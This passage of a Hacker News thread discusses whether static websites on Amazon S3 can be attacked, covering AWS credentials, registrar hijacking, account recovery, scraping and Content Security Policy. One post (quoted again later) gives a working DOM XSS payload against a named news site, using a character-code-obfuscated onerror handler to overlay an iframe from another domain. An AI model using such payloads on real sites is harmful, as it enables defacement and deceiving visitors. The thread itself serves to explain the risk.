Ask HN: Is a static site hosted on AWS S3 'hackable'? • Hacker News Board

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#31

Post by stevenae » Thu, Jul 09, 2015, 6:59 AM UTC

rsync wrote: post #27

ajross wrote: post #19

Earlier quoted context omitted.

If the threat model posits an attacker with an exploit for Amazon S3, then we're well out of the realm that is appropriate for security questions about static web sites. That's not to say that S3 could not possibly be broken, but if it is, there are vastly more attractive targets for that attack than some random static site.

"If the threat model posits an attacker with an exploit for Amazon S3" No, I'm not talking about an "S3 exploit". In fact, quite the opposite. I'm talking about an exploit for the web server that serves static S3 sites (and yes, it is a web server) which would serve arbitrary content instead of the underlying S3 content. The end user doesn't care that you injected the defaced content vs. altered the underlying conten…

In that situation, a malicious actor can execute arbitrary code on an S3 box that likely hosts all kinds of government / business critical data. OP's point is that unless your static website secretly contains nuclear launch codes, the actor will not spend his time coming after your site. You would hear about this kind of situation in the newspaper before your website would change.

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#32

Post by robwormald » Thu, Jul 09, 2015, 7:12 AM UTC

dguido wrote: post #10

Not through a web application vulnerability it can't (there is no application code to break!). Your biggest issues with that setup will be: 1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it. 2. Getting that green lock…

My parent's business got nailed by #4, and its been an unbelievable nightmare dealing with. Any suggestions on secure domain registrars?

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#33

Post by nilsjuenemann » Thu, Jul 09, 2015, 7:20 AM UTC

dguido wrote: post #10

Not through a web application vulnerability it can't (there is no application code to break!). Your biggest issues with that setup will be: 1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it. 2. Getting that green lock…

That isn't true. Every static website could be vulnerable through DOM XSS. In this case the integrity of the site is violated.

PoC: http://bit.ly/1S834lS - redirects to http://www.heute.de/#"> src=x onerror=document.write(String.fromCharCode(60,105,102,114,97,109,101, 32,115,114,99,61,34,104,116,116,112,58,47,47,99,97,116, 46,119,119,119,46,104,101,117,116,101,46,100,101,46,109,101,111,119, 98,105,102,121,46,99,111,109,47,34,32,115,116,121,108,101,61,34,98, 111,114,100,101,114,58,32,48,59,32,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,32,49,48,48,37,59,32,109,97, 114,103,105,110,58,32,45,56,112,120,59,112,111,115,105,116,105,111, 110,58,32,97,98,115,111,108,117,116,101,59,34,62))>

We just inject a iframe through the onerror handler of the tag:

http://cat.www.heute.de.meowbify.com/" style="border: 0; width: 100%; height: 100%; margin: -8px;position: absolute;">

In this case the site is using a outdated jQuery version, which is vulnerable to this kind of attack.

http://bugs.jquery.com/ticket/9521

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#34

Post by aruggirello » Thu, Jul 09, 2015, 7:34 AM UTC

Nobody mentioned it, but having a static website vs. a dynamic one, leaves your contents exposed to scraping, proxy hijacking and framing. While the latter can be mitigated by a one-line script, IMHO you basically can't defeat scrapers and proxies client-side-only - modern scrapers are able to run any javascript if needed. So expect a plethora of bad/spam links, unauthorized copies of your pages - etc. Especially if your contents attracts a lot of traffic and/or you have many competitors.

I recommend you watch periodically for your contents to pop up on random domains (you can google for your exact texts) and file your DMCA requests as soon as they appear.

It might help to use tags, absolute URL links and the likes in all of your web pages, as well as mention your domain both in textual contents and images (logo?) - that actively discourages "lazy duplicates" of your pages (but not copy/pasting your articles on a different site by hand).

Just my two cents.

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#35

Post by c22 » Thu, Jul 09, 2015, 7:38 AM UTC

dguido wrote: post #16

rsync wrote: post #14

Earlier quoted context omitted.

"Not through a web application vulnerability it can't (there is no application code to break!)." This isn't true. Data is being served up to web browsers over port 80. That's a web server. It might not be like any web server you've ever run ... it might not be apache or thttpd or zeus or whatever ... but there is code that is spitting out HTTP over port 80/443. That's a web server. So let's say the S3 data is immutab…

No one has the source or binary code for the webserver AWS uses. It would be nearly impossible to write an exploit for it blind like that. Even if you did write it blind, it would be a slow process that likely requires bruteforcing parts of the address space and there is no way you could do it without alerting Amazon. tl;dr what you described is possible, I guess, but so incredibly unlikely it's not even worth thinki…

> No one has the source or binary code for the webserver AWS uses.

Surely someone has access to this. Likely many many people. Do you know who they all are? Do you trust all of them to be neither malicious or careless.

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#36

Post by kirushik » Thu, Jul 09, 2015, 7:44 AM UTC

robwormald wrote: post #32

dguido wrote: post #10

Not through a web application vulnerability it can't (there is no application code to break!). Your biggest issues with that setup will be: 1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it. 2. Getting that green lock…

My parent's business got nailed by #4, and its been an unbelievable nightmare dealing with. Any suggestions on secure domain registrars?

Gandi works reasonably good for me.

AFAIR, it's also under French jurisdiction, not a US one. (This might be good in case of fake DMCA takedowns, but also bad in some other cases...)

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#37

Post by syllogism » Thu, Jul 09, 2015, 7:55 AM UTC

What steps would you go through if you lost the passwords to either the domain registrar or the AWS account? How does the account recovery work?

Usually it relies on ownership of some third account, e.g. email. Okay, what's the recovery process for the email account? Receiving an SMS to a particular phone number? Okay, what's the recovery process for that phone number? What's the process to get the phone number redirected?

At some point you're going to end up being able to ring up a number and tell someone a name, address, date of birth etc. Best case you ring up and they say okay we'll mail you something. Or they make you come in person and sign.

Customers lose credentials constantly, and won't tolerate being told that this means their account is unrecoverable. So there is almost always another way.

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#38

Post by digital-rubber » Thu, Jul 09, 2015, 8:17 AM UTC

What all the other people suggest here,

*plus (was typo) the physical protection of the systems used to access the AWS host (or any other remote host you login to). If i _really_ want to have access, i wouldn't think twice to break into your house. Generally way easier; and if you have passprhaseless public keys or saved cookies, then its party time...

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#39

Post by mcintyre1994 » Thu, Jul 09, 2015, 8:18 AM UTC

nilsjuenemann wrote: post #33

dguido wrote: post #10

Not through a web application vulnerability it can't (there is no application code to break!). Your biggest issues with that setup will be: 1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it. 2. Getting that green lock…

That isn't true. Every static website could be vulnerable through DOM XSS. In this case the integrity of the site is violated. PoC: http://bit.ly/1S834lS - redirects to http://www.heute.de/#"> src=x onerror=document.write(String.fromCharCode(60,105,102,114,97,109,101, 32,115,114,99,61,34,104,116,116,112,58,47,47,99,97,116, 46,119,119,119,46,104,101,117,116,101,46,100,101,46,109,101,111,119, 98,105,102,121,46,99,111,1…

Hey, would you mind splitting that line up a bit? It's screwing with the layout and making a lot of comments really wide.

Edit: Thanks :)

Re: Ask HN: Is a static site hosted on AWS S3 'hackable'?

#40

Post by Artemis2 » Thu, Jul 09, 2015, 8:42 AM UTC

aruggirello wrote: post #34

Nobody mentioned it, but having a static website vs. a dynamic one, leaves your contents exposed to scraping, proxy hijacking and framing. While the latter can be mitigated by a one-line script, IMHO you basically can't defeat scrapers and proxies client-side -only - modern scrapers are able to run any javascript if needed. So expect a plethora of bad/spam links, unauthorized copies of your pages - etc. Especially if…

Whether your site is static or dynamic doesn't changes anything: you still have to expose content to your users.

Furthermore, any good browser will respect [Content Security Policies](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CS...) and not load frames to your website.